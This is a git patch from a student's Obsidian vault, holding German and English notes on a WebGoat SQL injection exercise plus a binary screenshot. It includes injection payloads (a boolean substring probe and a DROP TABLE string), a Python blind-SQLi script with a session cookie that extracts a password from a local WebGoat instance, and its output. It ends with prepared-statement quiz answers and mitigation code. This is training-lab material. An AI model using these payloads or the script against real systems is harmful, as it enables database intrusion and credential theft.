From 99b92ce60de161e3604ee3c9d078c17196455f0c Mon Sep 17 00:00:00 2001 From: Gentleman-DE Date: Mon, 17 Apr 2023 14:37:33 +0200 Subject: [PATCH] vault backup: 2023-04-17 14:37:32 --- .obsidian/workspace.json | 7 +- .../Ueb2/2023-04-17_14-16.png | Bin 0 -> 13421 bytes Informationssicherheit/Ueb2/Ueb2.md | 70 +++++++++++++++++- 3 files changed, 72 insertions(+), 5 deletions(-) create mode 100644 Informationssicherheit/Ueb2/2023-04-17_14-16.png diff --git a/.obsidian/workspace.json b/.obsidian/workspace.json index 255ce5f..3816e14 100644 --- a/.obsidian/workspace.json +++ b/.obsidian/workspace.json @@ -6,7 +6,7 @@ { "id": "08ad9b53ade42d31", "type": "tabs", - "dimension": 45.31147540983606, + "dimension": 62.59025270758123, "children": [ { "id": "e2194e3299515374", @@ -25,7 +25,7 @@ { "id": "47553fa673bb1eb6", "type": "tabs", - "dimension": 54.68852459016394, + "dimension": 37.40974729241877, "children": [ { "id": "20668ba691cd80b3", @@ -202,8 +202,9 @@ "juggl:Juggl global graph": false } }, - "active": "e2194e3299515374", + "active": "b8336cb3c3d06be9", "lastOpenFiles": [ + "Informationssicherheit/Ueb2/2023-04-17_14-16.png", "Untitled 1.md", "Untitled.md", "Informationssicherheit/Ueb2/Ueb2.md", diff --git a/Informationssicherheit/Ueb2/2023-04-17_14-16.png b/Informationssicherheit/Ueb2/2023-04-17_14-16.png new file mode 100644 index 0000000000000000000000000000000000000000..faca2b09e89fbf8a3207f3d3941d8cad9c38144a GIT binary patch literal 13421 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 Pml7XKDM1P)j9&de=Pq_k literal 0 HcmV?d00001 diff --git a/Informationssicherheit/Ueb2/Ueb2.md b/Informationssicherheit/Ueb2/Ueb2.md index 21ab38e..b52dd26 100644 --- a/Informationssicherheit/Ueb2/Ueb2.md +++ b/Informationssicherheit/Ueb2/Ueb2.md @@ -97,6 +97,8 @@ Smith'; DROP TABLE access_log; -- ### 2 - `tom' AND '1'='1` is vergeben + - Es gibt eine if-Abfrage, ob der Name vergeben ist + - Man kann diese mit AND beeinflussen - `tom' AND substring(password,1,1)='t` kann buchstaben des Passworts herrausfinden - "Username taken" bedeutet, dass der Buchstabe richig ist - Durch testen: thisisasecretfortomonly @@ -112,7 +114,7 @@ def sql_injection_advance_5(): password = '' headers = { - 'Cookie': COOKIE, + 'Cookie': 'JSESSIONID=8f8OmDA8QEB8JwmEJtPbWkvVtAM_2AerEHJoWYFT', } while True: @@ -125,7 +127,7 @@ def sql_injection_advance_5(): 'confirm_password_reg': 'a' } - r = requests.put('http://HOST:PORT/WebGoat/SqlInjectionAdvanced/challenge', headers=headers, data=data) + r = requests.put('http://127.0.0.1:8080/WebGoat/SqlInjectionAdvanced/challenge', headers=headers, data=data) try: response = json.loads(r.text) @@ -144,7 +146,71 @@ def sql_injection_advance_5(): password_index += 1 sql_injection_advance_5() + ``` +Output: +t +th +thi +this +thisi +thisis +thisisa +thisisas +thisisase +thisisasec +thisisasecr +thisisasecre +thisisasecret +thisisasecretf +thisisasecretfo +thisisasecretfor +thisisasecretfort +thisisasecretforto +thisisasecretfortom +thisisasecretfortomo +thisisasecretfortomon +thisisasecretfortomonl +thisisasecretfortomonly + +### 3 +1. What is the difference between a prepared statement and a statement? + - Solution 4: A statement has got values instead of a prepared statement +2. Which one of the following characters is a placeholder for variables? + - Solution 3: ? +3. How can prepared statements be faster than statements? + - Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way. +4. How can a prepared statement prevent SQL-Injection? + - Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data. +5. What happens if a person with malicious intent writes into a register form :Robert); DROP TABLE Students;-- that has a prepared statement? + - Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'. + +## Mitigation + +### 1 +- getConnection +- PreparedStatement +- prepareStatement +- ? +- ? +- setString +- setString + +![[2023-04-17_14-16.png]] + +### 2 +``` java +try { + Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW); + PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE name = ?"); + ps.setString(1, "Admin"); + ps.executeUpdate(); +} catch (Exception e) { + System.out.println("Oops. Something went wrong!"); +} +``` + +### 3